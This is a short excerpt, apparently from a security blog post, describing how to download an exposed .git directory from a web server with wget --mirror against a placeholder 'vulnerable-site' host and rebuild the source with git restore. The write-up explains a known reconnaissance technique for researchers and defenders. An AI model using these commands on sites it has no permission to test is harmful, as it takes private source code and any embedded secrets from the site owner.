Disclaimer: this might only works with exposed .git directory with directory listing enabled. TLDR: $ wget --mirror --convert-links --no-parent --wait=0.5 https://sub.vulnerable-site.com/.git/ $ cd sub.vulnerable-site.com $ git restore '*' So recently I just found an exposed .git directory, as usual, I ran GitTools’ to dump and extract that particular directory. But…